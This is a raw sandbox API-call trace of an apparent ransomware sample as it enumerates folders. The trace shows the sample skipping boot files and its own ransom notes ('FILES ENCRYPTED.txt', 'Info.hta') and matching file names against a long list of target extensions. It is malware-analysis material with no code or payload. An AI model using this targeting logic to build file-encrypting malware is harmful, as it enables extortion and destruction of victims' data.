[0182.680] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1 [0182.680] lstrlenW (lpString=".html") returned 5 [0182.680] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0 [0182.681] lstrlenW (lpString="index.html") returned 10 [0182.681] lstrlenW (lpString=".NEWS") returned 5 [0182.681] lstrcmpiW (lpString1=".NEWS", lpString2=".html") returned 1 [0182.681] lstrlenW (lpString="index.html") returned 10 [0182.681] lstrcmpiW (lpString1="boot.ini", lpString2="index.html") returned -1 [0182.681] lstrcmpiW (lpString1="bootfont.bin", lpString2="index.html") returned -1 [0182.681] lstrcmpiW (lpString1="ntldr", lpString2="index.html") returned 1 [0182.681] lstrcmpiW (lpString1="ntdetect.com", lpString2="index.html") returned 1 [0182.681] lstrcmpiW (lpString1="io.sys", lpString2="index.html") returned 1 [0182.681] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="index.html") returned -1 [0182.681] lstrcmpiW (lpString1="Info.hta", lpString2="index.html") returned 1 [0182.681] lstrcmpiW (lpString1="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", lpString2="index.html") returned -1 [0182.681] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\index.html") returned 111 [0182.681] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x234, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0182.681] lstrlenW (lpString="toastbeginupgrade.xml") returned 21 [0182.681] lstrlenW (lpString=".1cd") returned 4 [0182.681] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.681] lstrlenW (lpString=".3ds") returned 4 [0182.681] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0182.681] lstrlenW (lpString=".3fr") returned 4 [0182.681] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0182.681] lstrlenW (lpString=".3g2") returned 4 [0182.681] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0182.681] lstrlenW (lpString=".3gp") returned 4 [0182.682] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0182.682] lstrlenW (lpString=".7z") returned 3 [0182.682] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.682] lstrlenW (lpString=".accda") returned 6 [0182.682] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1 [0182.682] lstrlenW (lpString=".accdb") returned 6 [0182.682] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1 [0182.682] lstrlenW (lpString=".accdc") returned 6 [0182.682] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1 [0182.682] lstrlenW (lpString=".accde") returned 6 [0182.682] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1 [0182.682] lstrlenW (lpString=".accdt") returned 6 [0182.682] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1 [0182.682] lstrlenW (lpString=".accdw") returned 6 [0182.682] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1 [0182.682] lstrlenW (lpString=".adb") returned 4 [0182.682] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0182.682] lstrlenW (lpString=".adp") returned 4 [0182.682] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0182.682] lstrlenW (lpString=".ai") returned 3 [0182.682] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0182.682] lstrlenW (lpString=".ai3") returned 4 [0182.682] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0182.682] lstrlenW (lpString=".ai4") returned 4 [0182.682] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0182.682] lstrlenW (lpString=".ai5") returned 4 [0182.682] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0182.682] lstrlenW (lpString=".ai6") returned 4 [0182.682] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0182.682] lstrlenW (lpString=".ai7") returned 4 [0182.682] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0182.683] lstrlenW (lpString=".ai8") returned 4 [0182.683] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0182.683] lstrlenW (lpString=".anim") returned 5 [0182.683] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1 [0182.683] lstrlenW (lpString=".arw") returned 4 [0182.683] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0182.683] lstrlenW (lpString=".as") returned 3 [0182.683] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0182.683] lstrlenW (lpString=".asa") returned 4 [0182.683] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0182.683] lstrlenW (lpString=".asc") returned 4 [0182.683] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0182.683] lstrlenW (lpString=".ascx") returned 5 [0182.683] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1 [0182.683] lstrlenW (lpString=".asm") returned 4 [0182.683] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0182.683] lstrlenW (lpString=".asmx") returned 5 [0182.683] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1 [0182.683] lstrlenW (lpString=".asp") returned 4 [0182.683] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0182.683] lstrlenW (lpString=".aspx") returned 5 [0182.683] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1 [0182.683] lstrlenW (lpString=".asr") returned 4 [0182.683] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0182.683] lstrlenW (lpString=".asx") returned 4 [0182.683] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0182.683] lstrlenW (lpString=".avi") returned 4 [0182.683] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0182.683] lstrlenW (lpString=".avs") returned 4 [0182.683] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0182.683] lstrlenW (lpString=".backup") returned 7 [0182.684] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1 [0182.684] lstrlenW (lpString=".bak") returned 4 [0182.684] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0182.684] lstrlenW (lpString=".bay") returned 4 [0182.684] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0182.684] lstrlenW (lpString=".bd") returned 3 [0182.684] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0182.684] lstrlenW (lpString=".bin") returned 4 [0182.684] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0182.684] lstrlenW (lpString=".bmp") returned 4 [0182.684] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0182.684] lstrlenW (lpString=".bz2") returned 4 [0182.684] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.684] lstrlenW (lpString=".c") returned 2 [0182.684] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0182.684] lstrlenW (lpString=".cdr") returned 4 [0182.684] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0182.684] lstrlenW (lpString=".cer") returned 4 [0182.684] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0182.684] lstrlenW (lpString=".cf") returned 3 [0182.684] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0182.684] lstrlenW (lpString=".cfc") returned 4 [0182.684] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0182.684] lstrlenW (lpString=".cfm") returned 4 [0182.684] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0182.684] lstrlenW (lpString=".cfml") returned 5 [0182.684] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1 [0182.685] lstrlenW (lpString=".cfu") returned 4 [0182.685] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0182.685] lstrlenW (lpString=".chm") returned 4 [0182.685] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0182.685] lstrlenW (lpString=".cin") returned 4 [0182.685] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0182.685] lstrlenW (lpString=".class") returned 6 [0182.685] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1 [0182.685] lstrlenW (lpString=".clx") returned 4 [0182.685] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0182.685] lstrlenW (lpString=".config") returned 7 [0182.685] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1 [0182.685] lstrlenW (lpString=".cpp") returned 4 [0182.685] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0182.685] lstrlenW (lpString=".cr2") returned 4 [0182.685] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0182.685] lstrlenW (lpString=".crt") returned 4 [0182.685] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0182.685] lstrlenW (lpString=".crw") returned 4 [0182.685] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0182.685] lstrlenW (lpString=".cs") returned 3 [0182.685] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0182.685] lstrlenW (lpString=".css") returned 4 [0182.685] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0182.685] lstrlenW (lpString=".csv") returned 4 [0182.685] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0182.685] lstrlenW (lpString=".cub") returned 4 [0182.685] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0182.685] lstrlenW (lpString=".dae") returned 4 [0182.685] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0182.685] lstrlenW (lpString=".dat") returned 4 [0182.686] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0182.686] lstrlenW (lpString=".db") returned 3 [0182.686] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0182.686] lstrlenW (lpString=".dbf") returned 4 [0182.686] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.686] lstrlenW (lpString=".dbx") returned 4 [0182.686] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0182.686] lstrlenW (lpString=".dc3") returned 4 [0182.686] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0182.686] lstrlenW (lpString=".dcm") returned 4 [0182.686] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0182.686] lstrlenW (lpString=".dcr") returned 4 [0182.686] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0182.686] lstrlenW (lpString=".der") returned 4 [0182.686] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0182.686] lstrlenW (lpString=".dib") returned 4 [0182.686] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0182.686] lstrlenW (lpString=".dic") returned 4 [0182.686] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0182.686] lstrlenW (lpString=".dif") returned 4 [0182.686] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0182.686] lstrlenW (lpString=".divx") returned 5 [0182.686] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1 [0182.686] lstrlenW (lpString=".djvu") returned 5 [0182.686] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1 [0182.686] lstrlenW (lpString=".dng") returned 4 [0182.686] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0182.686] lstrlenW (lpString=".doc") returned 4 [0182.687] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.687] lstrlenW (lpString=".docm") returned 5 [0182.687] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1 [0182.687] lstrlenW (lpString=".docx") returned 5 [0182.687] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0182.687] lstrlenW (lpString=".dot") returned 4 [0182.687] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0182.687] lstrlenW (lpString=".dotm") returned 5 [0182.687] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1 [0182.687] lstrlenW (lpString=".dotx") returned 5 [0182.687] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1 [0182.687] lstrlenW (lpString=".dpx") returned 4 [0182.688] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0182.688] lstrlenW (lpString=".dqy") returned 4 [0182.688] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0182.688] lstrlenW (lpString=".dsn") returned 4 [0182.688] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0182.688] lstrlenW (lpString=".dt") returned 3 [0182.688] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0182.688] lstrlenW (lpString=".dtd") returned 4 [0182.688] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0182.688] lstrlenW (lpString=".dwg") returned 4 [0182.688] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0182.688] lstrlenW (lpString=".dwt") returned 4 [0182.688] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0182.688] lstrlenW (lpString=".dx") returned 3 [0182.688] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0182.688] lstrlenW (lpString=".dxf") returned 4 [0182.688] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0182.688] lstrlenW (lpString=".edml") returned 5 [0182.688] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1 [0182.688] lstrlenW (lpString=".efd") returned 4 [0182.688] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0182.688] lstrlenW (lpString=".elf") returned 4 [0182.688] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0182.688] lstrlenW (lpString=".emf") returned 4 [0182.688] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0182.688] lstrlenW (lpString=".emz") returned 4 [0182.688] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0182.688] lstrlenW (lpString=".epf") returned 4 [0182.688] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0182.688] lstrlenW (lpString=".eps") returned 4 [0182.688] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0182.688] lstrlenW (lpString=".epsf") returned 5 [0182.689] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1 [0182.689] lstrlenW (lpString=".epsp") returned 5 [0182.689] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1 [0182.689] lstrlenW (lpString=".erf") returned 4 [0182.689] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0182.689] lstrlenW (lpString=".exr") returned 4 [0182.689] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0182.689] lstrlenW (lpString=".f4v") returned 4 [0182.689] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0182.689] lstrlenW (lpString=".fido") returned 5 [0182.689] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1 [0182.689] lstrlenW (lpString=".flm") returned 4 [0182.689] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0182.689] lstrlenW (lpString=".flv") returned 4 [0182.689] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0182.689] lstrlenW (lpString=".frm") returned 4 [0182.689] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0182.689] lstrlenW (lpString=".fxg") returned 4 [0182.689] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0182.689] lstrlenW (lpString=".geo") returned 4 [0182.689] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0182.689] lstrlenW (lpString=".gif") returned 4 [0182.689] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0182.689] lstrlenW (lpString=".grs") returned 4 [0182.689] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0182.689] lstrlenW (lpString=".gz") returned 3 [0182.689] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0182.690] lstrlenW (lpString=".h") returned 2 [0182.690] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0182.690] lstrlenW (lpString=".hdr") returned 4 [0182.690] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0182.690] lstrlenW (lpString=".hpp") returned 4 [0182.690] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0182.690] lstrlenW (lpString=".hta") returned 4 [0182.690] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0182.690] lstrlenW (lpString=".htc") returned 4 [0182.690] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0182.690] lstrlenW (lpString=".htm") returned 4 [0182.691] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0182.691] lstrlenW (lpString="toastbeginupgradeth2.xml") returned 24 [0182.691] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0182.691] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0182.691] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0182.692] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0182.692] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79714a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-AT", cAlternateFileName="")) returned 1 [0182.692] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0182.692] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT") returned 100 [0182.692] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79714a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0182.693] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79714a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0182.693] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c9b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0182.693] lstrlenW (lpString="index.html") returned 10 [0182.693] lstrlenW (lpString=".1cd") returned 4 [0182.693] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0182.693] lstrlenW (lpString=".3ds") returned 4 [0182.693] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0182.693] lstrlenW (lpString=".3fr") returned 4 [0182.693] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0182.693] lstrlenW (lpString=".3g2") returned 4 [0182.694] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0182.694] lstrlenW (lpString=".3gp") returned 4 [0182.694] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1 [0182.694] lstrlenW (lpString=".7z") returned 3 [0182.694] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0182.694] lstrlenW (lpString=".accda") returned 6 [0182.694] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1 [0182.694] lstrlenW (lpString=".accdb") returned 6 [0182.694] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1 [0182.694] lstrlenW (lpString=".accdc") returned 6 [0182.694] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1 [0182.694] lstrlenW (lpString=".accde") returned 6 [0182.694] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1 [0182.694] lstrlenW (lpString=".accdt") returned 6 [0182.694] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1 [0182.694] lstrlenW (lpString=".accdw") returned 6 [0182.694] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1 [0182.694] lstrlenW (lpString=".adb") returned 4 [0182.694] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0182.694] lstrlenW (lpString=".adp") returned 4 [0182.694] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0182.694] lstrlenW (lpString=".ai") returned 3 [0182.694] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0182.694] lstrlenW (lpString=".ai3") returned 4 [0182.694] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0182.695] lstrlenW (lpString=".ai4") returned 4 [0182.695] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0182.695] lstrlenW (lpString=".ai5") returned 4 [0182.695] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0182.695] lstrlenW (lpString=".ai6") returned 4 [0182.695] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0182.695] lstrlenW (lpString=".ai7") returned 4 [0182.695] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0182.695] lstrlenW (lpString=".ai8") returned 4 [0182.695] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0182.695] lstrlenW (lpString=".anim") returned 5 [0182.695] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0182.695] lstrlenW (lpString=".arw") returned 4 [0182.695] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0182.695] lstrlenW (lpString=".as") returned 3 [0182.695] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0182.695] lstrlenW (lpString=".asa") returned 4 [0182.695] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1 [0182.695] lstrlenW (lpString=".asc") returned 4 [0182.695] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0182.695] lstrlenW (lpString=".ascx") returned 5 [0182.695] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0182.695] lstrlenW (lpString=".asm") returned 4 [0182.695] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0182.695] lstrlenW (lpString=".asmx") returned 5 [0182.695] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0182.695] lstrlenW (lpString=".asp") returned 4 [0182.695] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0182.695] lstrlenW (lpString=".aspx") returned 5 [0182.695] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0182.695] lstrlenW (lpString=".asr") returned 4 [0182.695] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0182.695] lstrlenW (lpString=".asx") returned 4 [0182.695] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0182.696] lstrlenW (lpString=".avi") returned 4 [0182.696] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0182.696] lstrlenW (lpString=".avs") returned 4 [0182.696] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0182.696] lstrlenW (lpString=".backup") returned 7 [0182.696] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1 [0182.696] lstrlenW (lpString=".bak") returned 4 [0182.696] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0182.696] lstrlenW (lpString=".bay") returned 4 [0182.696] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0182.696] lstrlenW (lpString=".bd") returned 3 [0182.696] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0182.696] lstrlenW (lpString=".bin") returned 4 [0182.696] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0182.696] lstrlenW (lpString=".bmp") returned 4 [0182.696] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0182.696] lstrlenW (lpString=".bz2") returned 4 [0182.696] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0182.696] lstrlenW (lpString=".c") returned 2 [0182.696] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0182.696] lstrlenW (lpString=".cdr") returned 4 [0182.696] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0182.696] lstrlenW (lpString=".cer") returned 4 [0182.696] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0182.696] lstrlenW (lpString=".cf") returned 3 [0182.696] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0182.696] lstrlenW (lpString=".cfc") returned 4 [0182.696] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0182.697] lstrlenW (lpString=".cfm") returned 4 [0182.697] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0182.697] lstrlenW (lpString=".cfml") returned 5 [0182.697] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0182.697] lstrlenW (lpString=".cfu") returned 4 [0182.697] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0182.697] lstrlenW (lpString=".chm") returned 4 [0182.697] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0182.697] lstrlenW (lpString=".cin") returned 4 [0182.697] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0182.697] lstrlenW (lpString=".class") returned 6 [0182.697] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1 [0182.697] lstrlenW (lpString=".clx") returned 4 [0182.697] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0182.698] lstrlenW (lpString=".config") returned 7 [0182.698] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1 [0182.698] lstrlenW (lpString=".cpp") returned 4 [0182.698] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0182.698] lstrlenW (lpString=".cr2") returned 4 [0182.698] lstrcmpiW (lpString1=".cr2", lpString2="html") 